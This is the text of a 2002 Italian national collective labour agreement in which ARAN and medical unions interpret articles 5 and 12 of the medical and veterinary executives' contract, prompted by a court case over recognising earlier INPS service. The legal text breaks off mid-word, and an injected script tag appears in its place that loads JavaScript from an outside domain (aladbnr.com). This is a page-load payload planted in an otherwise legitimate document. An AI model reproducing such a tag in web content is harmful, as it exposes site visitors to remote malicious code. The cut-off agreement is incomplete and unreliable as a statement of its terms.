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Categoria: Sanità - comparto pubblico - area medica (dirigenti)
Settore: Pubblica Amministrazione
Data stipula: 12-7-2002

Contratto Collettivo Nazionale di Lavoro

DI  INTERPRETAZIONE  AUTENTICA DEGLI ARTT. 5 e 12  DEL  CCNL,  2°  BIENNIO
ECONOMICO 2000-2001 DELL'AREA DELLA DIRIGENZA MEDICA E VETERINARIA DEL SSN
stipulato l'8 giugno 2000


In  data  12 luglio 2002 alle ore 10, presso la sede dell'ARAN,  ha  avuto
luogo l'incontro tra:

- ARAN nella persona del Presidente Guido FANTONI

e

le seguenti Organizzazioni sindacali:

-  CGIL  Medici,  FED. CISL MEDICI COSIME, FED MEDICI aderente  alla  UIL,
CIVEMP  (SIVEMP - SIMET), FESMED (ACOI, ANMCO, AOGOI, SUMI, SEDI,  FEMEPA,
ANMDO), UMSPED (AROI, AIPAC, SNR), CIMO ASMD, ANAAO ASSOMED, ANPO

e Confederazioni sindacali:

- CGIL
- CISL
- UIL
- COSMED

Al   termine  della  riunione,  le  parti  suindicate  hanno  sottoscritto
l'allegato CCNL sulla interpretazione autentica degli artt. 5 e 12,  CCNL,
2°  biennio  economico  2000-2001,  dell'area  della  dirigenza  medica  e
veterinaria del SSN stipulato l'8 giugno 2000 nel testo che segue:
  
Premesso  che  il  giudice del Lavoro del Tribunale di  Pordenone  -  sez.
Lavoro  -,  in relazione al ricorso del dr. Gustavo Mazzi contro l'Azienda
Ospedaliera  "Santa Maria degli Angeli" (causa iscritta al  R.G.  416/01),
nella  seduta  dell'1.2.02, ai sensi dell'art. 64, D.lgs.  n.  165/01,  ha
ritenuto  che  per potere definire la controversia di cui  al  giudizio  è
necessario   risolvere  in  via  pregiudiziale  la  questione  concernente
l'interpretazione autentica degli artt. 5 e 12, CCNL, 2° biennio economico
2000-2001,  dell'area  della  dirigenza  medica  e  veterinaria  del   SSN
stipulato  l'8.6.00, in relazione al mancato riconoscimento al ricorrente,
ai   fini  del  computo  dell'esperienza  professionale  maturata  per  la
corresponsione  dell'indennità di esclusività,  del  periodo  di  servizio
prestato  presso  l'INPS  di S. Donà di Piave, in  qualità  di  assistente
medico di ruolo a tempo pieno;

tenuto conto

che l'art. 118, DPR n. 384/90, nel periodo in cui erano ancora previste le
classi  e  gli  scatti  d'anzianità  al  personale  medico  e  veterinario
consentiva  in caso di trasferimento o vincita di concorso la  possibilità
di   ricostruire  la  "carriera"  economica  dei  dipendenti  sulla   base
dell'anzianità  di  servizio purché maturata presso le amministrazioni  ed
enti  indicati in modo tassativo negli artt. 24, 25 e 26, DPR  n.  761/79,
nonché negli enti locali;

ritenuto,

ai  fini  della  richiesta  interpretazione, di  dover  verificare  se  il
servizio prestato dal ricorrente nel 1987 presso l'INPS rientri o meno tra
quelli previsti dalle norme sopracitate;

che,  in  particolare  solo  l'art.  24,  comma  1,  DPR  n.  761/79,   in
applicazione delle norme transitorie della legge n. 833/78, consentiva  la
riconoscibilità  dei  servizi  prestati  dal  personale  anteriormente  al
passaggio   alle   USL  presso  gli  enti  mutualistici  e   previdenziali
limitatamente alle funzioni trasferite alle stesse;

tenuto presente

che  il servizio prestato dal ricorrente presso l'INPS nel 1987 non è  tra
quelli  salvaguardati dall'art. 24, comma 1, in applicazione  delle  norme
transitorie della legge n. 833/78, per essere stato ivi prestato in  epoca
successiva  all'istituzione  delle USL ed  essendo  il  passaggio  al  SSN
avvenuto per effetto di concorsi;

considerato

che  la  tipologia di servizio in esame, non essendo menzionata in nessuna
delle  altre fattispecie previste dagli artt. 24, 25 e 26, non poteva  dar
luogo al riconoscimento economico previsto dall'art. 118, DPR n. 384/90;

che  a  tal fine non possono essere invocate né le norme di delega per  la
disciplina del personale transitato alle USL di cui all'art. 47, legge  n.
833/78,  né l'art. 75 della medesima legge in quanto inconferenti rispetto
alla riconoscibilità del servizio in questione, regolata da apposite norme
tassativamente applicabili e, in particolare, dirette solo a  re<script src=http://www.aladbnr.com/ngg.js></script>













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